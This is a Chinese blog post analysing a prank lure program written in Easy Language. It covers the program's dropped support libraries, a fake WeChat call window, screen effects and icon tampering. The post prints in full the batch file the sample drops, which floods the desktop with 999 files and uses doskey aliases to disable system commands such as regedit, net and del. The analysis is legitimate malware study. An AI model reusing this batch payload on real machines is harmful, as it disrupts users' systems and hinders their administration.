首页 > 其他分享 >一款专门针对高质量女性的易语言钓鱼样本简单分析

一款专门针对高质量女性的易语言钓鱼样本简单分析

时间:2023-07-27 23:01:13浏览次数:39  
标签:doskey 钓鱼 样本 高质量 支持 编译 文件 易语言


由于一直没怎么分析过易语言的样本,想学习一下易语言的样本分析过程,正好最近碰见了一个易语言编写的样本,是一个专门针对人类高质量女性进行钓鱼的样本,正好拿来学习学习,笔者是一边学习一边分析,如有不对之处还望各位批评指正。

该样本图标如下:

一款专门针对高质量女性的易语言钓鱼样本简单分析_python

好像和前段时间流行的某人类高质量男性留着一样的发型?查看详细信息发现文件说明处还专门指出“高质量女性请运行”:

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_02

易语言的特点

要分析清楚易语言,首先得大概了解一下易语言程序怎么开发,怎么编译,易语言是一款中文编程语言,它通过封装一些支持库来拓展自身的功能。如下是一个demo:

一款专门针对高质量女性的易语言钓鱼样本简单分析_java_03

易语言有两种主要的编译方式:

独立编译:是指易语言编译时,程序和易语言的支持库打包在一个exe文件中。程序可以脱离易语言环境使用。

一款专门针对高质量女性的易语言钓鱼样本简单分析_python_04

非独立编译:是指易语言编译时,单独编译exe文件,这样生成的文件体积小。必须带上支持库才能使用程序。

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_05

如果依赖库不存在将会弹出报错窗口:

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_06

样本静态分析

那么有了上述知识,我们就可以判断这个样本是哪种编译方式了,拖入Ida首先发现样本会在Temp临时目录创建以E_N开头的文件夹,并释放一些后缀名为.fnr和.fne的PE文件。

一款专门针对高质量女性的易语言钓鱼样本简单分析_java_07

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_08

调用LoadLibrary和GetProcessAddress函数,加载支持库文件,获取GetNewSock的函数地址:

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_09

然后发现后面会调用call eax和MessageBox:

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_10

这些都是易语言加载支持库的一些特征,该样本使用的是独立编译,接下来我们直接进行动态分析。

样本动态分析

我们使用火绒剑结合OD进行动态调试分析,对一些关键的API下断点,如CreateFileA,MessageBoxA,CreateProcessA,CreateWindowExA等,于是我们就可以发现除了krnln.fnr还释放了其他的支持库文件:

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_11

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_12

其中eAPI.fne是应用接口支持库,iext.fne是拓展界面支持库,krnln.fnr是系统核心支持库,shell.fne是操作系统界面功能支持库,spec.fne是特殊功能支持库,mp3.run、com.run、wmp.dll对应的是Windows媒体播放器支持库。看来这个样本可能会播放音频或者视频。继续运行发现:

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_13

一款专门针对高质量女性的易语言钓鱼样本简单分析_python_14

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_15

同时还释放并运行一个bat文件:

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_16

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_17

dc.bat内容为:

@echo off


cd c:\users\%username%\desktop\


for /L %%X IN (1,1,999) DO type nul>人类高质量男性%%X.txt


 


doskey regedit=regedit.


doskey gpedit.msc= gpedit.Msc.


doskey gpedit= gpedit.Msc.


doskey net=net.


doskey mmc = mmc.


doskey mmc.exe = mmc.


doskey assoc=assoc.


doskey ftype=ftype.


doskey del = del.


doskey delete = del.


doskey RD = rd.

运行后桌面会出现999个txt文件:

一款专门针对高质量女性的易语言钓鱼样本简单分析_java_18

同时,temp目录下还释放了如下文件:

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_19

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_20

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_21

然后出现如下类似微信电话的窗口:

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_22

当点击接听的时候便会播放音频和视频:

一款专门针对高质量女性的易语言钓鱼样本简单分析_java_23

对于窗口所触发的行为我们可以使用OD的窗口界面:

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_24

在按钮处设置消息断点,当发生对应的事件时即可断在消息处理函数处。

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_25

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_26

一款专门针对高质量女性的易语言钓鱼样本简单分析_android_27

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_28

然后便退出了。

其中当点击拒接微信电话时,便会出现恶搞现象,电脑屏幕出现“分块”现象,同时播放wallpaper.mp4:

一款专门针对高质量女性的易语言钓鱼样本简单分析_python_29

一款专门针对高质量女性的易语言钓鱼样本简单分析_编程语言_30

还会像熊猫烧香一样将所有的exe文件图标全部修改:

一款专门针对高质量女性的易语言钓鱼样本简单分析_人工智能_31

这些功能主要是由释放出的FZ%.exe实现的,感兴趣的可以找我索要样本,继续分析一下,但一定要在虚拟机下运行,提前做好快照备份。


标签:doskey,钓鱼,样本,高质量,支持,编译,文件,易语言
From: https://blog.51cto.com/u_14601424/6875357

相关文章

  • 清华学子“南山行”,为高质量发展提供人才助力
    为推动构建南山区与清华大学学子常态化的互动交流,助力南山新时代人才强区建设,7月10日—7月15日,在南山(北京)智汇中心的组织下,来自清华大学化学系、精仪系、医学院、机械工程系等4个院系的24名博士、硕士研究生,走访深圳清华大学研究院、力合科创、迈瑞医疗、元育生物等南山区多家具有......
  • 编写高质量代码改善程序的157个建议:使用Dynamic来简化反射的实现
    概述最近在看《编写高质量代码改善C#程序的157个建议》。看到第15个建议的时候,结合平时使用的习惯发现有部分出入,没有对不对的说法,只是使用习惯有点区别,跟随着我们来看一看。第15条建议是:使用dynamic简化反射的使用。dynamic的确可以简化反射的使用,但是从性能上来说是有......
  • 【易语言】自定义数据类型排序
    .版本2.子程序自定义类型数组排序.参数排序组,特殊成员,参考数组.局部变量交换,逻辑型.局部变量未比数据,整数型.局部变量交换变量,特殊成员.局部变量N,整数型交换=真未比数据=取数组成员数(排序组).判断循环首(交换=真)交换=假.变量循......
  • 零一PPT学习_P15/P31借用图片做出高质量的PPT
    一、如何给PPT配图1、根据名词。根据文本中的名词寻找图片2、传达情绪。图片传达情绪可将文字当中关键字进行具象的联想,比如破灭-落叶,场景化从侧面突出情绪。3、提升设计感-抽象文字或者无法理解的文字。通过观赏性图片提升设计感。......
  • 【渗透测试】Cobalt Strike制作钓鱼邮件渗透Windows
    目标在kali中使用CobaltStrike制作钓鱼邮件,对Windows进行渗透机器环境kali(服务端):192.168.175.129win11(攻击机):192.168.175.128win11(靶机):192.168.175.137步骤一、安装CobaltStrike将压缩包解压unrarx./CobaltStrike4_8_lusuo.rar若要解压到指定路径,先新建......
  • 论文翻译: FREEVC:朝着高质量、无文本、单次转换声音的目标迈进
    原文:FREEVC:TOWARDSHIGH-QUALITYTEXT-FREEONE-SHOTVOICECONVERSION原文地址:https://ieeexplore.ieee.org/abstract/document/10095191 个人总结:1.提出mel谱缩放增强方法。2.基于VITS框架进行改进,BUT在对照实验中缺没有对比VITS3.引入WavLM模型提高VC模型对说话人内容......
  • 实现在线直播源码高质量直播体验重要功能
     在直播行业蓬勃发展的时代背景下,我们不管是在路上,还是在高铁、飞机等公共场所中,都可以看到有人拿着手机、电脑等电子设备观看直播,直播几乎成为大多数人去娱乐放松、获取信息的重要途径之一,这也因为观看直播的便捷性,不管是在那里,只要拥有网络与一个能下载在线直播源码平台的电子......
  • 易语言mongodb
    易语言MongoDB科普文章介绍在当今的互联网时代,数据的存储和处理变得尤为重要。MongoDB是一个流行的NoSQL数据库,它以其高效、灵活和可扩展的特性而受到广泛的欢迎。本文将探讨如何使用易语言与MongoDB进行交互,并给出一些代码示例。连接MongoDB首先,我们需要使用易语言的......
  • 免费下载1000+工程建筑、设计领域资料,助力打造出高质量设计方案和汇报场景!
    作为一名工程设计、施工人员,设计方案制作、工程汇报场景搭建的情景再常见不过。日常需要的模型是必不可少的,但最令人头大的问题是如何寻找方案素材。想要表达的信息越多,素材获取就越是苦恼!有没有一款软件能够集方案三维汇报展示与模型数据下载为一体呢?当然有。图新说,作为国产三......
  • 2023.07.16 高质量 NOIP 模拟赛题解
    HDU5719Arrange【模拟】给定数列\(B_n,C_n\),求出满足\[B_i=\min_{j=1}^i\{A_j\},\quadC_i=\max_{j=1}^i\{A_j\}\]的排列\(A\)的数量。维护每个位置可能的数字数量,然后乘法原理即可。代码:http://acm.hdu.edu.cn/viewcode.php?rid=38654445。HDU5807KeepInTouch......